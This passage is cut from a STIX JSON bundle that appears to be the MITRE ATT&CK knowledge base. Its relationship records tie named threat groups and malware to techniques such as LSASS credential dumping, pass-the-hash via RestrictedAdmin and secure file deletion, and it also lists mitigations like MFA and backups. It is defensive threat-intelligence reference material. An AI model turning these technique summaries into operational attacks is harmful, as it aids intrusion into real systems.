required.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--77a73e89-d4b6-47c7-8676-8208c3797680","created":"2022-09-28T13:41:42.494Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-28T13:41:42.494Z","description":"Integrating multi-factor authentication (MFA) as part of organizational policy can greatly reduce the risk of an adversary gaining control of valid credentials that may be used for additional tactics such as initial access, lateral movement, and collecting information. MFA can also be used to restrict access to cloud resources and APIs. ","relationship_type":"mitigates","source_ref":"course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0","target_ref":"attack-pattern--54ca26f3-c172-4231-93e5-ccebcac2161f","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--77a75897-0325-472b-a7d2-2c5f1faf5d46","type":"relationship","created":"2021-04-13T19:29:21.063Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Secureworks BRONZE PRESIDENT December 2019","url":"https://www.secureworks.com/research/bronze-president-targets-ngos","description":"Counter Threat Unit Research Team. (2019, December 29). BRONZE PRESIDENT Targets NGOs. Retrieved April 13, 2021."}],"modified":"2021-04-13T19:29:21.063Z","description":"[Mustang Panda](https://attack.mitre.org/groups/G0129) will delete their tools and files, and kill processes after their objectives are reached.(Citation: Secureworks BRONZE PRESIDENT December 2019)","relationship_type":"uses","source_ref":"intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--77a98e76-5a38-40a8-af9a-180c31bf7563","created":"2021-05-03T19:55:04.097Z","x_mitre_version":"1.0","external_references":[{"source_name":"Certfa Charming Kitten January 2021","url":"https://blog.certfa.com/posts/charming-kitten-christmas-gift/","description":"Certfa Labs. (2021, January 8). Charming Kitten’s Christmas Gift. Retrieved May 3, 2021."},{"source_name":"ClearSky Kittens Back 3 August 2020","url":"https://www.clearskysec.com/wp-content/uploads/2020/08/The-Kittens-are-Back-in-Town-3.pdf","description":"ClearSky Research Team. (2020, August 1). The Kittens Are Back in Town 3 - Charming Kitten Campaign Evolved and Deploying Spear-Phishing link by WhatsApp. Retrieved April 21, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Magic Hound](https://attack.mitre.org/groups/G0059) has attempted to lure victims into opening malicious links embedded in emails.(Citation: ClearSky Kittens Back 3 August 2020)(Citation: Certfa Charming Kitten January 2021)","modified":"2022-04-08T18:13:32.134Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13","target_ref":"attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--77b9cc09-ebbe-44cc-86dc-452a9648caef","type":"relationship","created":"2022-03-30T14:26:51.850Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.850Z","description":"Monitor executed commands and arguments that may attempt to hide artifacts associated with their behaviors to evade detection.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--22905430-4901-4c2a-84f6-98243cb173f8","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--77b9e1c5-8241-4260-8125-4bc2e1206b9c","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT TYPEFRAME June 2018","description":"US-CERT. (2018, June 14). MAR-10135536-12 – North Korean Trojan: TYPEFRAME. Retrieved July 13, 2018.","url":"https://www.us-cert.gov/ncas/analysis-reports/AR18-165A"}],"modified":"2020-03-17T13:49:31.299Z","description":"One [TYPEFRAME](https://attack.mitre.org/software/S0263) variant decrypts an archive using an RC4 key, then decompresses and installs the decrypted malicious DLL module. Another variant decodes the embedded file by XORing it with the value \"0x35\".(Citation: US-CERT TYPEFRAME June 2018)","relationship_type":"uses","source_ref":"malware--7ba0fc46-197d-466d-8b9f-f1c64d5d81e5","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--77bcb339-4a2f-4fa6-9145-c653000952dc","type":"relationship","created":"2019-04-23T15:49:35.551Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"M.Léveillé, M.. (2014, February 21). An In-depth Analysis of Linux/Ebury. Retrieved April 19, 2019.","url":"https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/","source_name":"ESET Ebury Feb 2014"}],"modified":"2019-04-26T20:14:18.183Z","description":"[Ebury](https://attack.mitre.org/software/S0377) has encrypted C2 traffic using the client IP address, then encoded it as a hexadecimal string.(Citation: ESET Ebury Feb 2014)","relationship_type":"uses","source_ref":"malware--d6b3fcd0-1c86-4350-96f0-965ed02fcc51","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--77bd9ea1-9401-4128-a78a-bd28d43a6c99","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Kazuar May 2017","description":"Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.","url":"https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/"}],"modified":"2020-03-18T21:55:33.602Z","description":"[Kazuar](https://attack.mitre.org/software/S0265) gathers information about local groups and members.(Citation: Unit 42 Kazuar May 2017)","relationship_type":"uses","source_ref":"malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2","target_ref":"attack-pattern--a01bf75f-00b2-4568-a58f-565ff9bf202b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--77c31f47-883a-4381-a70e-96bd5f1371d3","created":"2023-01-24T00:15:07.816Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SentinelLabs Metador Sept 2022","description":"Ehrlich, A., et al. (2022, September). THE MYSTERY OF METADOR | AN UNATTRIBUTED THREAT HIDING IN TELCOS, ISPS, AND UNIVERSITIES. Retrieved January 23, 2023.","url":"https://assets.sentinelone.com/sentinellabs22/metador#page=1"},{"source_name":"SentinelLabs Metador Technical Appendix Sept 2022","description":"SentinelLabs. (2022, September 22). Metador Technical Appendix. Retrieved April 4, 2023.","url":"https://docs.google.com/document/d/1e9ZTW9b71YwFWS_18ZwDAxa-cYbV8q1wUefmKZLYVsA/edit#heading=h.lmnbtht1ikzm"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-05T14:59:37.858Z","description":"[metaMain](https://attack.mitre.org/software/S1059) can take and save screenshots.(Citation: SentinelLabs Metador Sept 2022)(Citation: SentinelLabs Metador Technical Appendix Sept 2022)","relationship_type":"uses","source_ref":"malware--df350889-4de9-44e5-8cb3-888b8343e97c","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--77c3f6a1-f25c-4669-bdc1-0f358793dd34","type":"relationship","created":"2021-03-19T13:38:12.585Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Muddy Water March 2021","url":"https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html","description":"Peretz, A. and Theck, E. (2021, March 5). Earth Vetala – MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021."}],"modified":"2021-03-19T13:38:12.585Z","description":"[MuddyWater](https://attack.mitre.org/groups/G0069) has used a PowerShell backdoor to check for Skype connectivity on the target machine.(Citation: Trend Micro Muddy Water March 2021)","relationship_type":"uses","source_ref":"intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2","target_ref":"attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--77c5bb7d-9584-4d57-850b-6349984181a8","type":"relationship","created":"2020-02-12T15:05:04.394Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-15T14:15:07.098Z","description":"Require multi-factor authentication for SSH connections wherever possible, such as password protected SSH keys.","relationship_type":"mitigates","source_ref":"course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0","target_ref":"attack-pattern--2db31dcd-54da-405d-acef-b9129b816ed6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--77c63e89-71fe-47e3-babb-13e7722932ad","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto MoonWind March 2017","description":"Miller-Osborn, J. and Grunzweig, J.. (2017, March 30). Trochilus and New MoonWind RATs Used In Attack Against Thai Organizations. Retrieved March 30, 2017.","url":"http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/"}],"modified":"2020-03-16T17:16:53.396Z","description":"[MoonWind](https://attack.mitre.org/software/S0149) obtains the victim's current time.(Citation: Palo Alto MoonWind March 2017)","relationship_type":"uses","source_ref":"malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1","target_ref":"attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--77cd972c-459f-4cac-ae21-3cc1a96df09e","created":"2019-04-12T15:55:48.141Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT38 Oct 2018","description":"FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.","url":"https://www.mandiant.com/sites/default/files/2021-09/rpt-apt38-2018-web_v5-1.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T16:33:33.990Z","description":"[APT38](https://attack.mitre.org/groups/G0082) has used a custom secure delete function to make deleted files unrecoverable.(Citation: FireEye APT38 Oct 2018)","relationship_type":"uses","source_ref":"intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340","target_ref":"attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--77cf946d-eb39-4f49-abd0-a64733ea9538","created":"2024-08-01T23:20:52.625Z","revoked":false,"external_references":[{"source_name":"Sekoia Raccoon2 2022","description":"Pierre Le Bourhis, Quentin Bourgue, & Sekoia TDR. (2022, June 29). Raccoon Stealer v2 - Part 2: In-depth analysis. Retrieved August 1, 2024.","url":"https://blog.sekoia.io/raccoon-stealer-v2-part-2-in-depth-analysis/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-01T23:20:52.625Z","description":"[Raccoon Stealer](https://attack.mitre.org/software/S1148) gathers information from repositories associated with cryptocurrency wallets and the Telegram messaging service.(Citation: Sekoia Raccoon2 2022)","relationship_type":"uses","source_ref":"malware--b5a8fb8b-4ff1-43e5-a1ad-75ae565f5175","target_ref":"attack-pattern--d28ef391-8ed4-45dc-bc4a-2f43abf54416","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--77d079b6-2df9-4ae9-bc7c-1ebe99708660","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT Bankshot Dec 2017","description":"US-CERT. (2017, December 13). Malware Analysis Report (MAR) - 10135536-B. Retrieved July 17, 2018.","url":"https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-B_WHITE.PDF"}],"modified":"2020-02-18T03:40:29.927Z","description":"[Bankshot](https://attack.mitre.org/software/S0239) searches for certain Registry keys to be configured before executing the payload.(Citation: US-CERT Bankshot Dec 2017)","relationship_type":"uses","source_ref":"malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--77d30a4e-d267-4416-85f2-edebc0a6af29","created":"2022-10-13T16:10:14.855Z","revoked":false,"external_references":[{"source_name":"NCC Group TA505","description":"Terefos, A. (2020, November 18). TA505: A Brief History of Their Time. Retrieved July 14, 2022.","url":"https://research.nccgroup.com/2020/11/18/ta505-a-brief-history-of-their-time/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T16:10:14.855Z","description":"(Citation: NCC Group TA505)","relationship_type":"uses","source_ref":"intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d","target_ref":"tool--066b057c-944e-4cfc-b654-e3dfba04b926","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--77d954c5-de84-4f4b-98b6-5ad35603ae7a","type":"relationship","created":"2020-04-28T12:47:25.992Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos PoetRAT April 2020","url":"https://blog.talosintelligence.com/2020/04/poetrat-covid-19-lures.html","description":"Mercer, W, et al. (2020, April 16). PoetRAT: Python RAT uses COVID-19 lures to target Azerbaijan public and private sectors. Retrieved April 27, 2020."}],"modified":"2020-04-28T12:47:25.992Z","description":"[PoetRAT](https://attack.mitre.org/software/S0428) has the ability to gather information about the compromised host.(Citation: Talos PoetRAT April 2020)","relationship_type":"uses","source_ref":"malware--cc5497f7-a9e8-436f-94da-b2b4a9b9ad3c","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--77d97059-4280-41d0-8280-596a6e2b8ff8","type":"relationship","created":"2020-02-20T14:31:35.058Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Ready.gov IT DRP","url":"https://www.ready.gov/business/implementation/IT","description":"Ready.gov. (n.d.). IT Disaster Recovery Plan. Retrieved March 15, 2019."}],"modified":"2022-03-25T19:31:24.827Z","description":"Consider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP) Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and destroy the backups to prevent recovery.","relationship_type":"mitigates","source_ref":"course-of-action--3efe43d1-6f3f-4fcb-ab39-4a730971f70b","target_ref":"attack-pattern--8c41090b-aa47-4331-986b-8c9a51a91103","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--77dbc1ae-556e-43cd-b776-c7670ab5c915","type":"relationship","created":"2019-06-17T18:43:35.376Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CitizenLab KeyBoy Nov 2016","url":"https://citizenlab.ca/2016/11/parliament-keyboy/","description":"Hulcoop, A., et al. (2016, November 17). It’s Parliamentary KeyBoy and the targeting of the Tibetan Community. Retrieved June 13, 2019."},{"source_name":"Anomali Pirate Panda April 2020","url":"https://www.anomali.com/blog/anomali-suspects-that-china-backed-apt-pirate-panda-may-be-seeking-access-to-vietnam-government-data-center#When:15:00:00Z","description":"Moore, S. et al. (2020, April 30). Anomali Suspects that China-Backed APT Pirate Panda May Be Seeking Access to Vietnam Government Data Center. Retrieved May 19, 2020."}],"modified":"2020-05-21T12:59:00.606Z","description":"[Tropic Trooper](https://attack.mitre.org/groups/G0081) has been known to side-load DLLs using a valid version of a Windows Address Book and Windows Defender executable with one of their tools.(Citation: CitizenLab KeyBoy Nov 2016)(Citation: Anomali Pirate Panda April 2020)","relationship_type":"uses","source_ref":"intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924","target_ref":"attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--77def9ad-52ea-44c0-b800-42b17323a985","created":"2022-08-02T15:41:00.445Z","x_mitre_version":"0.1","external_references":[{"source_name":"CISA AR18-352A Quasar RAT December 2018","url":"https://www.cisa.gov/uscert/ncas/analysis-reports/AR18-352A","description":"CISA. (2018, December 18). Analysis Report (AR18-352A) Quasar Open-Source Remote Administration Tool. Retrieved August 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[QuasarRAT](https://attack.mitre.org/software/S0262) can retrieve files from compromised client machines.(Citation: CISA AR18-352A Quasar RAT December 2018)","modified":"2022-08-02T15:41:00.445Z","relationship_type":"uses","source_ref":"tool--da04ac30-27da-4959-a67d-450ce47d9470","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--77e0980c-de43-48a8-8df3-b924f8d91b51","type":"relationship","created":"2020-03-17T13:51:08.173Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT39 Jan 2019","url":"https://www.fireeye.com/blog/threat-research/2019/01/apt39-iranian-cyber-espionage-group-focused-on-personal-information.html","description":"Hawley et al. (2019, January 29). APT39: An Iranian Cyber Espionage Group Focused on Personal Information. Retrieved February 19, 2019."},{"source_name":"FBI FLASH APT39 September 2020","url":"https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf","description":"FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020."}],"modified":"2021-10-12T23:00:49.752Z","description":"[APT39](https://attack.mitre.org/groups/G0087) has sent spearphishing emails in an attempt to lure users to click on a malicious link.(Citation: FireEye APT39 Jan 2019)(Citation: FBI FLASH APT39 September 2020)","relationship_type":"uses","source_ref":"intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80","target_ref":"attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--77ea5d03-715b-4247-8484-6c1cf2bc7984","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye FIN7 April 2017","description":"Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html"}],"modified":"2018-10-17T00:14:20.652Z","description":"[HALFBAKED](https://attack.mitre.org/software/S0151) can use WMI queries to gather system information.(Citation: FireEye FIN7 April 2017)","relationship_type":"uses","source_ref":"malware--0ced8926-914e-4c78-bc93-356fb90dbd1f","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--77f71aa5-b5d3-4cac-83a7-3ed5e2bc03f0","created":"2024-05-22T22:13:08.419Z","revoked":false,"external_references":[{"source_name":"Unit42 Agrius 2023","description":"Or Chechik, Tom Fakterman, Daniel Frank & Assaf Dahan. (2023, November 6). Agonizing Serpens (Aka Agrius) Targeting the Israeli Higher Education and Tech Sectors. Retrieved May 22, 2024.","url":"https://unit42.paloaltonetworks.com/agonizing-serpens-targets-israeli-tech-higher-ed-sectors/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-22T22:13:08.419Z","description":"[Agrius](https://attack.mitre.org/groups/G1030) used tools such as [Mimikatz](https://attack.mitre.org/software/S0002) to dump LSASS memory to capture credentials in victim environments.(Citation: Unit42 Agrius 2023)","relationship_type":"uses","source_ref":"intrusion-set--b8137919-38cb-4db0-90f3-437be885faba","target_ref":"attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--77f8ae7e-c2a1-4c9e-95fd-e886ab57a218","created":"2024-07-24T16:31:33.222Z","revoked":false,"external_references":[{"source_name":"Crowdstrike HuntReport 2022","description":"CrowdStrike. (2023). 2022 Falcon OverWatch Threat Hunting Report. Retrieved May 20, 2024.","url":"https://go.crowdstrike.com/rs/281-OBQ-266/images/2022OverWatchThreatHuntingReport.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-24T16:31:33.222Z","description":"[Aquatic Panda](https://attack.mitre.org/groups/G0143) modified the victim registry to enable the `RestrictedAdmin` mode feature, allowing for pass the hash behaviors to function via RDP.(Citation: Crowdstrike HuntReport 2022)","relationship_type":"uses","source_ref":"intrusion-set--64b52e7d-b2c4-4a02-9372-08a463f5dc11","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--77f919ce-1a18-4ee5-9979-1c9b818ca973","type":"relationship","created":"2021-10-12T20:02:51.819Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NCC Group APT15 Alive and Strong","description":"Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.","url":"https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/"}],"modified":"2021-10-12T20:02:51.819Z","description":"[Ke3chang](https://attack.mitre.org/groups/G0004) has obtained and used tools such as [Mimikatz](https://attack.mitre.org/software/S0002).(Citation: NCC Group APT15 Alive and Strong)","relationship_type":"uses","source_ref":"intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c","target_ref":"attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--77f9936d-1ba7-42a8-879d-1a6e90156366","type":"relationship","created":"2017-05-31T21:33:27.034Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mandiant Operation Ke3chang November 2014","description":"Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION “KE3CHANG”: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.","url":"https://www.mandiant.com/resources/operation-ke3chang-targeted-attacks-against-ministries-of-foreign-affairs"},{"source_name":"NCC Group APT15 Alive and Strong","description":"Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.","url":"https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/"}],"modified":"2021-11-01T21:12:14.958Z","description":"(Citation: Mandiant Operation Ke3chang November 2014)(Citation: NCC Group APT15 Alive and Strong)","relationship_type":"uses","source_ref":"intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c","target_ref":"tool--03342581-f790-4f03-ba41-e82e67392e23","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--77fbad9a-3a73-4ddb-8d10-60147eb64a81","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-17T00:43:32.098Z","description":"[Comnie](https://attack.mitre.org/software/S0244) runs the net view command","relationship_type":"uses","source_ref":"malware--f4c80d39-ce10-4f74-9b50-a7e3f5df1f2e","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--77fcf452-80a6-4922-99fa-896fe68a8c8a","created":"2024-05-21T18:55:04.550Z","revoked":false,"external_references":[{"source_name":"CISA AA24-038A PRC Critical Infrastructure February 2024","description":"CISA et al.. (2024, February 7). PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure. Retrieved May 15, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-03/aa24-038a_csa_prc_state_sponsored_actors_compromise_us_critical_infrastructure_3.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-21T18:55:04.550Z","description":"[Volt 